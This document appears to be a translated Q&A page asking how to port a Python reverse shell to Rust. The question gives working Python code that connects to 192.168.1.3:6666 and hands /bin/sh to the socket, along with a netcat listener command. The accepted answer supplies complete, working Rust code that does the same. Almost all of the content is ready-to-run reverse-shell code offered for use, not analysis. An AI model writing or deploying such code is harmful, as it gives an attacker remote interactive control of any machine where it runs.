【问题标题】:What is the Rust equivalent of a reverse shell script written in Python?用 Python 编写的反向 shell 脚本的 Rust 等价物是什么?
【发布时间】:2020-04-24 01:40:03
【问题描述】:

Python 中的反向 shell 脚本通常如下所示:

import socket, subprocess, os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((\"192.168.1.3\", 6666));

os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);

p=subprocess.call([\"/bin/sh\", \"-i\"]);

我正在尝试用 Rust 复制这个过程:

let mut stream = std::net::TcpStream::connect("192.168.1.3:6666").unwrap();

我只获得了与我的主机的 TCP 连接,使用 netcat (nc -l -p 6666) 进行监听。如果我理解正确,我需要通过套接字重定向标准输入、输出和错误,然后以某种方式“调用”/bin/sh

如何在 Rust 中编写这个反向 shell 脚本?

【问题讨论】:

    标签: python sockets rust subprocess reverse-shell


    【解决方案1】:

    Rust 中 Python 反向 shell 的等价物是:

    use std::net::TcpStream;
    use std::os::unix::io::{AsRawFd, FromRawFd};
    use std::process::{Command, Stdio};
    
    fn main() {
        let s = TcpStream::connect("192.168.1.3:6666").unwrap();
        let fd = s.as_raw_fd();
        Command::new("/bin/sh")
            .arg("-i")
            .stdin(unsafe { Stdio::from_raw_fd(fd) })
            .stdout(unsafe { Stdio::from_raw_fd(fd) })
            .stderr(unsafe { Stdio::from_raw_fd(fd) })
            .spawn()
            .unwrap()
            .wait()
            .unwrap();
    }
    

    【讨论】:

      猜你喜欢
      • 2017-04-10
      • 2012-06-08
      • 1970-01-01
      • 2013-03-23
      • 1970-01-01
      • 2018-05-05
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多